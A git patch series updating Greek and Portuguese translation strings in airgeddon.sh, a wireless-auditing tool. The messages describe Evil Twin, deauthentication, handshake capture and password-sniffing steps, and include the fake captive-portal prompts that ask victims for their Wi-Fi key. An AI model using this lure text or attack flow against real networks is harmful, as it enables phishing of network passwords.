site" arr["russian",264]="Атака с перехватывающим порталом заключается в том, что мы ждём когда кто-то из пользователей введёт верный пароль от Wi-Fi на веб-странице, которую мы ему показываем" - arr["greek",264]="Η επίθεση με αιχμαλωσία πύλης κάνει έναν από τους χρήστες του δικτύου να μας παρέχει τον κωδικό του δικτύου wifi βάζοντάς τον στην πύλη" + arr["greek",264]="Η επίθεση captive portal κάνει έναν από τους χρήστες του δικτύου να μας παρέχει τον κωδικό πρόσβασης του δικτύου wifi βάζοντάς τον στο portal μας" arr["english",265]="Evil Twin deauth" arr["spanish",265]="Desautenticación para Evil Twin" @@ -2754,7 +2754,7 @@ function language_strings() { arr["catalan",286]="$pending_of_translation Si no tens un fitxer de Handshake capturat de la xarxa objectiu pots obtenir-lo ara" arr["portuguese",286]="$pending_of_translation Se você não tem uma rede alvo capturado arquivo Handshake você pode obtê-lo agora" arr["russian",286]="$pending_of_translation Если вы не имеете рукопожатия файл захваченный целевой сети вы можете получить его прямо сейчас" - arr["greek",286]="$pending_of_translation Εάν δεν έχετε ένα αρχείο χειραψία συλλαμβάνονται από το δίκτυο στόχος μπορεί να το πάρει τώρα" + arr["greek",286]="Εάν δεν έχετε κάποιο αρχείο Χειραψίας από το δίκτυο-στόχος μπορείτε να το πάρετε τώρα" arr["english",287]="The script will check for internet access. Please be patient..." arr["spanish",287]="El script va a comprobar si tienes acceso a internet. Por favor ten paciencia..." @@ -2762,7 +2762,7 @@ function language_strings() { arr["catalan",287]="El script comprovarà si tens accés a internet. Si us plau sigues pacient..." arr["portuguese",287]="O script irá verificar se você tem acesso à internet. Por favor,aguarde..." arr["russian",287]="Этот скрипт проверит Интернет доступ. Подождите немного..." - arr["greek",287]="Το script θα ελέγξει αν έχετε πρόσβαση στο διαδίκτυο. Παρακαλώ κάντε υπομονή..." + arr["greek",287]="Το script θα ελέγξει αν έχετε πρόσβαση στο διαδίκτυο. Παρακαλώ έχετε λίγη υπομονή..." arr["english",288]="It seems you have no internet access. This attack needs an interface with internet access" arr["spanish",288]="Parece que no tienes conexión a internet. Este ataque necesita una interfaz con acceso a internet" @@ -2810,7 +2810,7 @@ function language_strings() { arr["catalan",293]="Atac Evil Twin AP amb portal captiu" arr["portuguese",293]="Ataque Evil Twin AP com portal cativo" arr["russian",293]="Атака Злой Двойник ТД с перехватывающим порталом" - arr["greek",293]="Επίθεση Evil Twin AP με αιχμαλωσία πύλης" + arr["greek",293]="Επίθεση Evil Twin AP με captive portal" arr["english",294]="Detecting resolution... Detected! : "${normal_color}"$resolution" arr["spanish",294]="Detectando resolución... Detectada! : "${normal_color}"$resolution" @@ -2882,7 +2882,7 @@ function language_strings() { arr["catalan",302]="¿Vols guardar en un fitxer les contrasenyes obtingudes del sniffing? "${blue_color}"Si respons que no (\"n\") només es mostraran per pantalla "${normal_color}"[y/n]" arr["portuguese",302]="Você deseja armazenar em um arquivo as senhas obtidas com o sniffer? "${blue_color}"Se você responder não (\"n\") só será mostrado na tela "${normal_color}"[y/n]" arr["russian",302]="Вы хотите сохранить в файл захваченные сниффингом пароли? "${blue_color}"Если ваш ответ нет (\"n\") они будут только показаны на экране "${normal_color}"[y/n]" - arr["greek",302]="Θέλετε να αποθηκεύσετε σε ένα αρχείο τους sniffed κωδικούς? "${blue_color}"Αν απαντήσετε όχι (\"n\") απλά θα εμφανιστούν στην οθόνη "${normal_color}"[y/n]" + arr["greek",302]="Θέλετε να αποθηκεύσετε σε ένα αρχείο τους sniffed κωδικούς πρόσβασης? "${blue_color}"Αν απαντήσετε όχι (\"n\") απλά θα εμφανιστούν στην οθόνη "${normal_color}"[y/n]" arr["english",303]="Type the path to store the file or press Enter to accept the default proposal "${normal_color}"[$default_ettercap_logpath]" arr["spanish",303]="Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto "${normal_color}"[$default_ettercap_logpath]" @@ -2906,7 +2906,7 @@ function language_strings() { arr["catalan",305]="No s'ha trobat cap contrasenya en el log del sniffer. No es guarda el fitxer" arr["portuguese",305]="Nenhuma senha foi encontrada no log do sniffer. Arquivo não será salvo" arr["russian",305]="В журнале сниффера паролей не обнаружено. Файл не будет сохранён" - arr["greek",305]="Δεν εντοπίστηκαν κωδικοί στο log του sniffer. Το αρχείο δεν θα αποθηκευτεί" + arr["greek",305]="Δεν εντοπίστηκαν κωδικοί πρόσβασης στο log του sniffer. Το αρχείο δεν θα αποθηκευτεί" arr["english",306]="Passwords captured by sniffer. File saved at "${normal_color}"[$ettercap_logpath]" arr["spanish",306]="El sniffer ha capturado contraseñas. Fichero salvado en "${normal_color}"[$ettercap_logpath]" @@ -2914,7 +2914,7 @@ function language_strings() { arr["catalan",306]="El sniffer ha capturat contrasenyes. Fitxer desat a "${normal_color}"[$ettercap_logpath]" arr["portuguese",306]="O sniffer capturou senhas. I arquivo salvo no "${normal_color}"[$ettercap_logpath]" arr["russian",306]="Сниффер захватил пароли. Файл сохранён в "${normal_color}"[$ettercap_logpath]" - arr["greek",306]="Κωδικοί καταγράφτηκαν από τον sniffer. Το αρχείο αποθηκεύτηκε στο "${normal_color}"[$ettercap_logpath]" + arr["greek",306]="Καταγράφτηκαν κωδικοί πρόσβασης από τον sniffer. Το αρχείο αποθηκεύτηκε στο "${normal_color}"[$ettercap_logpath]" arr["english",307]="Language changed to Russian" arr["spanish",307]="Idioma cambiado a Ruso" @@ -2946,7 +2946,7 @@ function language_strings() { arr["catalan",310]="Fitxer de Handshake seleccionat: "${pink_color}"Ningú"${normal_color} arr["portuguese",310]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"Nenhum"${normal_color} arr["russian",310]="$pending_of_translation Рукопожатие выбранный файл: "${pink_color}"None"${normal_color} - arr["greek",310]="$pending_of_translation Αρχείο χειραψία επιλεγμένα: "${pink_color}"Κανένα"${normal_color} + arr["greek",310]="Επιλεγμένο αρχείο Χειραψίας: "${pink_color}"Κανένα"${normal_color} arr["english",311]="Handshake file selected: "${pink_color}"$et_handshake"${normal_color} arr["spanish",311]="Fichero de Handshake seleccionado: "${pink_color}"$et_handshake"${normal_color} @@ -2954,7 +2954,7 @@ function language_strings() { arr["catalan",311]="Fitxer de Handshake seleccionat: "${pink_color}"$et_handshake"${normal_color} arr["portuguese",311]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"$et_handshake"${normal_color} arr["russian",311]="$pending_of_translation Рукопожатие выбранный файл: "${pink_color}"$et_handshake"${normal_color} - arr["greek",311]="$pending_of_translation Αρχείο χειραψία επιλεγμένα: "${pink_color}"$et_handshake"${normal_color} + arr["greek",311]="Επιλεγμένο αρχείο Χειραψίας: "${pink_color}"$et_handshake"${normal_color} arr["english",312]="No selected Handshake file detected during this session..." arr["spanish",312]="No se ha detectado ningún fichero de Handshake seleccionado en esta sesión..." @@ -2962,7 +2962,7 @@ function language_strings() { arr["catalan",312]="No s'ha detectat un fitxer de Handshake seleccionat en aquesta sessió..." arr["portuguese",312]="$pending_of_translation Não é detectado arquivo Handshake selecionado nesta sessão..." arr["russian",312]="$pending_of_translation не обнаружен Рукопожатие файл, выбранный в этой сессии..." - arr["greek",312]="$pending_of_translation δεν έχει εντοπιστεί το αρχείο Χειραψία επιλεγεί σε αυτή τη σύνοδο..." + arr["greek",312]="Δεν εντοπίστηκε κανένα αρχείο Χειραψίας κατά τη διάρκεια της συνεδρίας..." arr["english",313]="Handshake selected file detected during this session ["${normal_color}"$et_handshake"${blue_color}"]" arr["spanish",313]="Se ha detectado un fichero de Handshake seleccionado en esta sesión ["${normal_color}"$et_handshake"${blue_color}"]" @@ -2970,7 +2970,7 @@ function language_strings() { arr["catalan",313]="S'ha detectat un fitxer de Handshake seleccionat en aquesta sessió ["${normal_color}"$et_handshake"${blue_color}"]" arr["portuguese",313]="$pending_of_translation Arquivo Handshake detectado selecionado nesta sessão ["${normal_color}"$et_handshake"${blue_color}"]" arr["russian",313]="$pending_of_translation Обнаружен файл Рукопожатие выбран в этой сессии ["${normal_color}"$et_handshake"${blue_color}"]" - arr["greek",313]="$pending_of_translation Εντοπίστηκε αρχείο Χειραψία επιλεγεί σε αυτή τη σύνοδο ["${normal_color}"$et_handshake"${blue_color}"]" + arr["greek",313]="Εντοπίστηκε επιλεγμένο αρχείο Χειραψίας κατά τη διάρκεια της συνεδρίας ["${normal_color}"$et_handshake"${blue_color}"]" arr["english",314]="Handshake file selected: "${pink_color}"$enteredpath"${normal_color} arr["spanish",314]="Fichero de Handshake seleccionado: "${pink_color}"$enteredpath"${normal_color} @@ -2978,7 +2978,7 @@ function language_strings() { arr["catalan",314]="Fitxer de Handshake seleccionat: "${pink_color}"$enteredpath"${normal_color} arr["portuguese",314]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"$enteredpath"${normal_color} arr["russian",314]="$pending_of_translation Рукопожатие выбранный файл: "${pink_color}"$enteredpath"${normal_color} - arr["greek",314]="$pending_of_translation Αρχείο χειραψία επιλεγμένα: "${pink_color}"$enteredpath"${normal_color} + arr["greek",314]="Επιλεγμένο αρχείο Χειραψίας: "${pink_color}"$enteredpath"${normal_color} arr["english",315]="This attack requires that you have previously a WPA/WPA2 network captured Handshake file" arr["spanish",315]="Este ataque requiere que tengas capturado previamente un fichero de Handshake de una red WPA/WPA2" @@ -2986,7 +2986,7 @@ function language_strings() { arr["catalan",315]="Aquest atac requereix que tinguis capturat prèviament un fitxer de Handshake d'una xarxa WPA/WPA2" arr["portuguese",315]="$pending_of_translation Este ataque requer que você já capturou um arquivo a partir de uma rede Handshake WPA/WPA2" arr["russian",315]="$pending_of_translation Эта атака требует, чтобы вы ранее захватили файл из сети Рукопожатие WPA/WPA2" - arr["greek",315]="$pending_of_translation Η επίθεση αυτή προϋποθέτει ότι έχετε συλληφθεί στο παρελθόν αρχείο χειραψία ένα δίκτυο WPA/WPA2" + arr["greek",315]="Αυτή η επίθεση απαιτεί να έχετε προηγουμένως κατεγράψει ένα αρχείο Χειραψίας από WPA/WPA2 δίκτο" arr["english",316]="An exploration looking for targets is going to be done..." arr["spanish",316]="Se va a realizar una exploración en busca de objetivos..." @@ -2994,7 +2994,7 @@ function language_strings() { arr["catalan",316]="$pending_of_translation Es va a realitzar una exploració a la recerca d'objectius..." arr["portuguese",316]="$pending_of_translation Ele irá realizar uma varredura para alvos..." arr["russian",316]="$pending_of_translation Он выполнит сканирование для целей..." - arr["greek",316]="$pending_of_translation Θα εκτελέσετε σάρωση για τους στόχους..." + arr["greek",316]="Πρόκειται να γίνει μία εξερεύνηση για έυρεση στόχων..." arr["english",317]="If the password for the wifi network is achieved with the captive portal, you must decide where to save it. "${green_color}"Type the path to store the file or press Enter to accept the default proposal "${normal_color}"[$default_et_captive_portal_logpath]" arr["spanish",317]="Si se consigue la contraseña de la red wifi con el portal cautivo, hay que decidir donde guardarla. "${green_color}"Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto "${normal_color}"[$default_et_captive_portal_logpath]" @@ -3002,7 +3002,7 @@ function language_strings() { arr["catalan",317]="Si s'aconsegueix la contrasenya de la xarxa wifi amb el portal captiu, cal decidir on guardar-la. "${green_color}"Escriu la ruta on desarem el fitxer o prem Enter per acceptar la proposta per defecte "${normal_color}"[$default_et_captive_portal_logpath]" arr["portuguese",317]="$pending_of_translation Se a senha da rede wifi com o portal cativo é alcançado, decidir onde para salvar. "${green_color}"Digite o caminho onde armazenar o arquivo ou pressione Enter para aceitar as propostas padrão "${normal_color}"[$default_et_captive_portal_logpath]" arr["russian",317]="$pending_of_translation Если пароль для беспроводной сети с адаптивным порталом достигается, решить, куда сохранить. "${green_color}"Напечатайте путь до файла для сохранения или нажмите Enter для принятия предложения по умолчанию "${normal_color}"[$default_et_captive_portal_logpath]" - arr["greek",317]="$pending_of_translation Εάν επιτευχθεί ο κωδικός πρόσβασης για το ασύρματο δίκτυο με την αιχμαλωσία πύλη, να αποφασίσει πού να αποθηκεύσετε. "${green_color}"Πληκτρολογήστε τη διαδρομή όπου αποθηκεύουμε το αρχείο ή πατήστε Enter για να αποδεχτείτε την προτεινόμενη προεπιλογή "${normal_color}"[$default_et_captive_portal_logpath]" + arr["greek",317]="Εάν ο κωδικός πρόσβασης του δικτύου wifi επιτευχθεί με captive portal, θα πρέπει να αποφασίσετε που θα τον αποθηκεύσετε. "${green_color}"Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε Enter για την προεπιλεγμένη επιλογή "${normal_color}"[$default_et_captive_portal_logpath]" arr["english",318]="Choose the language in which network clients will see the captive portal :" arr["spanish",318]="Elige el idioma en el que los clientes de la red verán el portal cautivo :" @@ -3010,7 +3010,7 @@ function language_strings() { arr["catalan",318]="Tria l'idioma en el qual els clients de la xarxa veuran el portal captiu :" arr["portuguese",318]="$pending_of_translation Escolha o idioma em que os clientes da rede verá o portal cativo :" arr["russian",318]="$pending_of_translation Выберите язык, на котором клиенты сети будут видеть адаптивный портал :" - arr["greek",318]="$pending_of_translation Επιλέξτε τη γλώσσα στην οποία οι πελάτες του δικτύου θα δείτε την αιχμαλωσία πύλη :" + arr["greek",318]="Επιλέξτε τη γλώσσα που θα βλέπουν οι χρήστες του δικτύου το captive portal :" arr["english",319]="The captive portal language has been established" arr["spanish",319]="Se ha establecido el idioma del portal cautivo" @@ -3018,7 +3018,7 @@ function language_strings() { arr["catalan",319]="S'ha establert l'idioma del portal captiu" arr["portuguese",319]="$pending_of_translation A língua foi estabelecida portal cativo" arr["russian",319]="$pending_of_translation Язык был создан адаптивный портал" - arr["greek",319]="$pending_of_translation Η γλώσσα έχει καθιερωθεί αιχμαλωσία πύλη" + arr["greek",319]="Εγκαταστάθηκε η γλώσσα του captive portal" arr["english",320]="7. Greek" arr["spanish",320]="7. Griego" @@ -3034,7 +3034,7 @@ function language_strings() { arr["catalan",321]="$pending_of_translation ¿Tens ja un fitxer de Handshake capturat? "${blue_color}"Respon si (\"y\") per introduir la ruta o respon no (\"n\") per capturar un ara "${normal_color}"[y/n]" arr["portuguese",321]="$pending_of_translation Você já tem um arquivo Handshake capturado? "${blue_color}"Responda sim (\"y\") para entrar no caminho ou responder não (\"n\") para capturar um novo agora "${normal_color}"[y/n]" arr["russian",321]="$pending_of_translation У Вас уже есть файл захваченный Рукопожатие? "${blue_color}"Ответ да (\"y\"), чтобы войти в путь или нет ответа Нет (\"n\"), чтобы захватить новую прямо сейчас "${normal_color}"[y/n]" - arr["greek",321]="$pending_of_translation Έχετε ήδη καταθέσει ένα κατέλαβε Χειραψία? "${blue_color}"Απάντηση ναι (\"y\") για να εισαγάγετε τη διαδρομή ή να απαντήσει καθόλου (\"n\") για να συλλάβει ένα νέο τώρα "${normal_color}"[y/n]" + arr["greek",321]="Έχετε ήδη κάποιο αρχείο Χειραψίας; "${blue_color}"Απαντήστε ναι (\"y\") για να εισαγάγετε το μονοπάτι ή απαντήστε όχι (\"n\") για να καταγράψετε ένα νέο τώρα "${normal_color}"[y/n]" arr["english",322]="It has been checked that there is a Handshake of the chosen target network while checking the selected capture file. Script can continue..." arr["spanish",322]="Se ha comprobado que existe un Handshake de la red elegida como objetivo durante la exploración en el fichero de captura seleccionado. El script puede continuar..." @@ -3042,7 +3042,7 @@ function language_strings() { arr["catalan",322]="$pending_of_translation S'ha comprovat que hi ha un Handshake de la xarxa triada com a objectiu durant l'exploració en el fitxer de captura seleccionat. El script pot continuar..." arr["portuguese",322]="$pending_of_translation Verificou-se que existe uma rede de Handshake escolhido como o alvo para a exploração do ficheiro de captura seleccionado. O script pode continuar..." arr["russian",322]="$pending_of_translation Было установлено, что существует сеть Квитирующий выбрана в качестве цели для исследования в выбранном файле записи. Скрипт может продолжать..." - arr["greek",322]="$pending_of_translation Έχει βρεθεί ότι υπάρχει μια χειραψία δίκτυο επιλέχθηκε ως το στόχο για εξερεύνηση στο επιλεγμένο αρχείο καταγραφής. Το script μπορεί να συνεχίσει..." + arr["greek",322]="Εντοπίστηκε η παρουσία Χειραψίας για το επιλεγμένο δίκτυο-στόχος καθώς γινόταν έλεγχος του επιλεγμένου αρχείου καταγραφής. Το script μπορεί να συνεχίσει..." arr["english",323]="There is no Handshake of the selected network on the capture file" arr["spanish",323]="No se ha encontrado un Handshake de la red seleccionada en el fichero de captura" @@ -3050,7 +3050,7 @@ function language_strings() { arr["catalan",323]="$pending_of_translation No s'ha trobat un Handshake de la xarxa seleccionada en el fitxer de captura" arr["portuguese",323]="$pending_of_translation Não encontrou um aperto de mão rede selecionada no arquivo de captura" arr["russian",323]="$pending_of_translation Он не нашел сети Рукопожатие, выбранный в файле захвата" - arr["greek",323]="$pending_of_translation Δεν έχει βρει μια χειραψία δικτύου έχει επιλεγεί στο αρχείο καταγραφής" + arr["greek",323]="Δεν υπάρχει Χειραψία του επιλεγμένου δικτύου στο αρχείο καταγραφής" arr["english",324]="Handshake file generated successfully at ["${normal_color}"$et_handshake"${blue_color}"]" arr["spanish",324]="Fichero de Handshake generado con éxito en ["${normal_color}"$et_handshake"${blue_color}"]" @@ -3066,7 +3066,7 @@ function language_strings() { arr["catalan",325]="$pending_of_translation Espera. Tingues una mica de paciència..." arr["portuguese",325]="$pending_of_translation Esperar. Tenha um pouco de paciência..." arr["russian",325]="$pending_of_translation Подождите. Имейте немного терпения..." - arr["greek",325]="$pending_of_translation Περιμένετε. Έχετε λίγη υπομονή..." + arr["greek",325]="Περιμένετε. Έχετε λίγη υπομονή..." case "$3" in "yellow") From 9a7ef90ec85522a85d1c80197b1fe81c019f85d5 Mon Sep 17 00:00:00 2001 From: Luan Date: Sun, 9 Oct 2016 23:55:37 -0300 Subject: [PATCH 14/23] Portuguese translation updated --- airgeddon.sh | 58 ++++++++++++++++++++++++++-------------------------- 1 file changed, 29 insertions(+), 29 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 00a1db496..6fab32fe2 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -279,7 +279,7 @@ function language_strings() { et_misc_texts["spanish",3]="Ips entregadas por DHCP a posibles clientes conectados" et_misc_texts["french",3]="Ips attribuées à d'éventuels clients DHCP" et_misc_texts["catalan",3]="Ips lliurades per DHCP a possibles clients connectats" - et_misc_texts["portuguese",3]="Ips entregues pelos clientes DHCP ligado ao possível" + et_misc_texts["portuguese",3]="Ips entregues pelo DHCP aos possiveis clientes conectados " et_misc_texts["russian",3]="IP, которые DHCP будет давать возможным подключённым клиентам" et_misc_texts["greek",3]="DHCP IP διευθύνσεις που έχουν δωθεί σε πιθανούς συνδεδεμένους χρήστες" @@ -295,7 +295,7 @@ function language_strings() { et_misc_texts["spanish",5]="Con este ataque, estate atento a la pantalla del sniffer para ver si aparece alguna contraseña" et_misc_texts["french",5]="Vérifiez pendant l'attaque dans la console du sniffeur si un mot de passe a été capturé" et_misc_texts["catalan",5]="Amb aquest atac, estigues atent a la pantalla de l'sniffer per veure si apareix alguna contrasenya" - et_misc_texts["portuguese",5]="Com este ataque, cuidado com a tela aparece sniffer para ver se uma senha" + et_misc_texts["portuguese",5]="Com este ataque, fique atento na tela do sniffer para ver se aparece alguma senha" et_misc_texts["russian",5]="С этой атакой смотрите на окно сниффера, чтобы следить за появлением пароля" et_misc_texts["greek",5]="Με αυτή την επίθεση, παρακολουθήστε την οθόνη του sniffer για να δείτε αν εχει εμφανιστεί κάποιος κωδικός" @@ -303,7 +303,7 @@ function language_strings() { et_misc_texts["spanish",6]="Con este ataque, esperaremos a que un cliente de la red nos provea de la contraseña de la red wifi en nuestro portal cautivo" et_misc_texts["french",6]="Avec cette attaque nous allons attendre qu'un client rentre le mot de passe du réseau cible dans notre portail captif" et_misc_texts["catalan",6]="Amb aquest atac, esperarem que un client de la xarxa ens proveeixi de la contrasenya de la xarxa wifi al nostre portal captiu" - et_misc_texts["portuguese",6]="Com este ataque, vamos esperar por um cliente de rede nos fornecer a senha para a rede wifi no nosso portal cativo" + et_misc_texts["portuguese",6]="Com este ataque, vamos esperar que um cliente nos forneça a senha da rede wifi em nosso portal cativo" et_misc_texts["russian",6]="С этой атакой вы будете ожидать, чтобы сетевые клиенты ввели пароль для Wi-Fi сети на нашем перехватывающем портале" et_misc_texts["greek",6]="Με αυτή την επίθεση, θα περιμένουμε για έναν χρήστη του δικτύου να μας παρέχει με τον κωδικό του wifi στην πύλη αιχμάλωσίας" @@ -327,7 +327,7 @@ function language_strings() { et_misc_texts["spanish",9]="Red inalámbrica, ESSID:" et_misc_texts["french",9]="Réseau sans fil, ESSID:" et_misc_texts["catalan",9]="Xarxa sense fils, ESSID:" - et_misc_texts["portuguese",9]="Rede sem fio, ESSID:" + et_misc_texts["portuguese",9]="ESSID da rede sem fio:" et_misc_texts["russian",9]="беспроводная сеть, ESSID:" et_misc_texts["greek",9]="Ασύρματο Δίκτυο ESSID:" @@ -335,7 +335,7 @@ function language_strings() { et_misc_texts["spanish",10]="Introduzca su contraseña de acceso a la red inalámbrica para poder acceder a internet" et_misc_texts["french",10]="Veuillez saisir la clé de sécurité du réseau wifi pour obtenir accès à internet" et_misc_texts["catalan",10]="Introduïu la contrasenya d'accés a la xarxa sense fils per poder accedir a internet" - et_misc_texts["portuguese",10]="Digite sua senha de acesso de rede asa sem fio para acesso à internet" + et_misc_texts["portuguese",10]="Digite a senha da rede wifi para ter acesso a internet" et_misc_texts["russian",10]="Введите свой беспроводной доступ к сети Интернет доступа пароль крыло" et_misc_texts["greek",10]="Εισάγετε ασύρματη πρόσβαση στο κωδικό πρόσβασης δικτύου πτέρυγα σας να έχουν πρόσβαση στο διαδίκτυο" @@ -367,7 +367,7 @@ function language_strings() { et_misc_texts["spanish",14]="Ha ocurrido un error inesperado, redirigiendo a la pantalla principal" et_misc_texts["french",14]="Une erreur inattendue s'est produite, retour à l'écran principal" et_misc_texts["catalan",14]="Hi ha hagut un error inesperat, redirigint a la pantalla principal" - et_misc_texts["portuguese",14]="Ocorreu um erro inesperado, redirecionando para a tela principal" + et_misc_texts["portuguese",14]="Ocorreu um erro inesperado, redirecionando para a pagina principal" et_misc_texts["russian",14]="Произошла неожиданная ошибка, перенаправлять на главный экран" et_misc_texts["greek",14]="Παρουσιάστηκε μη αναμενόμενο σφάλμα, τον αναπροσανατολισμό προς την κύρια οθόνη" @@ -383,7 +383,7 @@ function language_strings() { et_misc_texts["spanish",16]="La contraseña debe tener al menos 8 caracteres" et_misc_texts["french",16]="La clé de sécurité doit contenir au moins 8 caractères" et_misc_texts["catalan",16]="La contrasenya ha de tenir almenys 8 caràcters" - et_misc_texts["portuguese",16]="A senha deve ter pelo menos 8 caracteres" + et_misc_texts["portuguese",16]="A senha deve ter no mínimo 8 caracteres" et_misc_texts["russian",16]="Пароль должен быть не менее 8 символов" et_misc_texts["greek",16]="Ο κωδικός πρόσβασης πρέπει να είναι τουλάχιστον 8 χαρακτήρες" @@ -391,7 +391,7 @@ function language_strings() { et_misc_texts["spanish",17]="La contraseña introducida es incorrecta, redirigiendo a la pantalla principal" et_misc_texts["french",17]="Clé de sécurité incorrecte, retour à l'écran principal" et_misc_texts["catalan",17]="La contrasenya introduïda és incorrecta, redirigint a la pantalla principal" - et_misc_texts["portuguese",17]="A senha está incorreta, redirecionando para a tela principal" + et_misc_texts["portuguese",17]="A senha está incorreta, redirecionando para a pagina principal" et_misc_texts["russian",17]="Неверный пароль, перенаправление на главный экран" et_misc_texts["greek",17]="Ο κωδικός πρόσβασης είναι λανθασμένος, τον αναπροσανατολισμό προς την κύρια οθόνη" @@ -399,7 +399,7 @@ function language_strings() { et_misc_texts["spanish",18]="La contraseña es correcta, la conexión se restablecerá en unos momentos" et_misc_texts["french",18]="Clé de sécurité correcte, la connexion sera établie dans quelques instants" et_misc_texts["catalan",18]="La contrasenya és correcta, la connexió es restablirà en uns moments" - et_misc_texts["portuguese",18]="A senha está correta, a conexão será estabelecida em alguns momentos" + et_misc_texts["portuguese",18]="A senha está correta, a conexão será estabelecida em alguns momentos" et_misc_texts["russian",18]="Пароль правильный, то соединение будет установлено через несколько минут" et_misc_texts["greek",18]="Ο κωδικός πρόσβασης είναι σωστός, η σύνδεση θα δημιουργηθεί σε λίγα λεπτά" @@ -407,7 +407,7 @@ function language_strings() { et_misc_texts["spanish",19]="Airgeddon. Contraseña capturada en el portal cautivo del ataque Evil Twin" et_misc_texts["french",19]="Airgeddon. Mot de passe capturé par le portail captif de l'attaque Evil Twin" et_misc_texts["catalan",19]="Airgeddon. Contrasenya capturada al portal captiu de l'atac Evil Twin" - et_misc_texts["portuguese",19]="Airgeddon. Senha capturado no ataque Evil Twin portal cativo" + et_misc_texts["portuguese",19]="Airgeddon. Senha capturada no ataque Evil Twin portal cativo" et_misc_texts["russian",19]="Airgeddon. Пароль захватили на адаптивный портал Зла атаки Твин" et_misc_texts["greek",19]="Airgeddon. Κωδικός πρόσβασης συλληφθεί για την αιχμαλωσία πύλη Evil Twin επίθεση" @@ -415,7 +415,7 @@ function language_strings() { et_misc_texts["spanish",20]="Intentos" et_misc_texts["french",20]="Essais" et_misc_texts["catalan",20]="Intents" - et_misc_texts["portuguese",20]="Tries" + et_misc_texts["portuguese",20]="Tentativas" et_misc_texts["russian",20]="пытается" et_misc_texts["greek",20]="προσπαθεί" @@ -447,7 +447,7 @@ function language_strings() { et_misc_texts["spanish",24]="La contraseña se ha guardado en el fichero" et_misc_texts["french",24]="Le mot de passe est enregistré dans le fichier" et_misc_texts["catalan",24]="La contrasenya s'ha guardat en el fitxer" - et_misc_texts["portuguese",24]="A senha é guardada no arquivo" + et_misc_texts["portuguese",24]="A senha foi salva no arquivo" et_misc_texts["russian",24]="Пароль сохраняется в файле" et_misc_texts["greek",24]="Ο κωδικός πρόσβασης αποθηκεύεται στο αρχείο" @@ -455,7 +455,7 @@ function language_strings() { et_misc_texts["spanish",25]="Pulsa Enter en la ventana principal del script para continuar, esta ventana se cerrará" et_misc_texts["french",25]="Appuyez sur Entrée dans la fenêtre principale du script pour continuer, cette fenêtre se fermera" et_misc_texts["catalan",25]="Prem Enter a la finestra principal del script per continuar, aquesta finestra es tancarà" - et_misc_texts["portuguese",25]="Pressione Enter na janela principal do script para continuar, esta janela será fechada" + et_misc_texts["portuguese",25]="Pressione Enter na janela principal do script para continuar e esta janela será fechada" et_misc_texts["russian",25]="Нажмите Enter в главном окне сценария для продолжения, это окно будет закрыто" et_misc_texts["greek",25]="Πατήστε Enter στο κύριο παράθυρο του σεναρίου για να συνεχίσει, αυτό το παράθυρο θα κλείσει" @@ -1960,7 +1960,7 @@ function language_strings() { arr["spanish",187]="¿Quieres utilizar este fichero de captura ya seleccionado? "${normal_color}"[y/n]" arr["french",187]="Souhaitez vous utiliser le fichier de capture déjà sélectionné? "${normal_color}"[y/n]" arr["catalan",187]="¿Vols fer servir aquest fitxer de captura ja seleccionat? "${normal_color}"[y/n]" - arr["portuguese",187]="Você quer usar esse arquivo e captura selecionado? "${normal_color}"[y/n]" + arr["portuguese",187]="Você quer usar esse arquivo de captura selecionado? "${normal_color}"[y/n]" arr["russian",187]="Вы хотите использовать этот уже выбранный файл захвата? "${normal_color}"[y/n]" arr["greek",187]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο αρχείο καταγραφής? "${normal_color}"[y/n]" @@ -2752,7 +2752,7 @@ function language_strings() { arr["spanish",286]="Si no tienes un fichero de Handshake capturado de la red objetivo puedes obtenerlo ahora" arr["french",286]="$pending_of_translation Si vous ne disposez pas d'un réseau cible fichier capturé poignée de main, vous pouvez l'obtenir maintenant" arr["catalan",286]="$pending_of_translation Si no tens un fitxer de Handshake capturat de la xarxa objectiu pots obtenir-lo ara" - arr["portuguese",286]="$pending_of_translation Se você não tem uma rede alvo capturado arquivo Handshake você pode obtê-lo agora" + arr["portuguese",286]="Se você não tem um arquivo Handshake capturado da rede alvo você pode obtê-lo agora" arr["russian",286]="$pending_of_translation Если вы не имеете рукопожатия файл захваченный целевой сети вы можете получить его прямо сейчас" arr["greek",286]="$pending_of_translation Εάν δεν έχετε ένα αρχείο χειραψία συλλαμβάνονται από το δίκτυο στόχος μπορεί να το πάρει τώρα" @@ -2944,7 +2944,7 @@ function language_strings() { arr["spanish",310]="Fichero de Handshake seleccionado: "${pink_color}"Ninguno"${normal_color} arr["french",310]="Fichier Handshake sélectionné: "${pink_color}"Aucun"${normal_color} arr["catalan",310]="Fitxer de Handshake seleccionat: "${pink_color}"Ningú"${normal_color} - arr["portuguese",310]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"Nenhum"${normal_color} + arr["portuguese",310]="Arquivo de Handshake selecionado: "${pink_color}"Nenhum"${normal_color} arr["russian",310]="$pending_of_translation Рукопожатие выбранный файл: "${pink_color}"None"${normal_color} arr["greek",310]="$pending_of_translation Αρχείο χειραψία επιλεγμένα: "${pink_color}"Κανένα"${normal_color} @@ -2952,7 +2952,7 @@ function language_strings() { arr["spanish",311]="Fichero de Handshake seleccionado: "${pink_color}"$et_handshake"${normal_color} arr["french",311]="Fichier Handshake sélectionnée: "${pink_color}"$et_handshake"${normal_color} arr["catalan",311]="Fitxer de Handshake seleccionat: "${pink_color}"$et_handshake"${normal_color} - arr["portuguese",311]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"$et_handshake"${normal_color} + arr["portuguese",311]="Arquivo de Handshake selecionado: "${pink_color}"$et_handshake"${normal_color} arr["russian",311]="$pending_of_translation Рукопожатие выбранный файл: "${pink_color}"$et_handshake"${normal_color} arr["greek",311]="$pending_of_translation Αρχείο χειραψία επιλεγμένα: "${pink_color}"$et_handshake"${normal_color} @@ -2960,7 +2960,7 @@ function language_strings() { arr["spanish",312]="No se ha detectado ningún fichero de Handshake seleccionado en esta sesión..." arr["french",312]="Aucun fichier Handshake valable a été sékectionné pour cette session..." arr["catalan",312]="No s'ha detectat un 